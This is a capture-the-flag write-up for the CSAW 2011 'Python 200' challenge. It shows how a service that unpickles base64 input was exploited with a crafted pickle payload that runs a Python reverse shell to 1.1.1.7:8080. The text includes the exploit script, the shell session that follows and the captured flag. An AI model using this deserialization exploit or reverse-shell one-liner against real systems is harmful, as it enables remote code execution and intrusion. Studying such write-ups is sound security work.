CSAW 2011 - Reversing - Python 200

Python - 200 Points

nc csawctf.poly.edu 53080

When we connected to the port it was running a service Haderper:

-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
> help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

> derp hi
UydoaScKcDAKLg==
> underp UydoaScKcDAKLg==
hi
>

If we decode the base64 string we can see that it looks like a Pickle dump file:

$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0

After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.

# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080

And our listening nc gets the remote shell:

$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}

**Key:**38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db

You can see the code for the daemon here.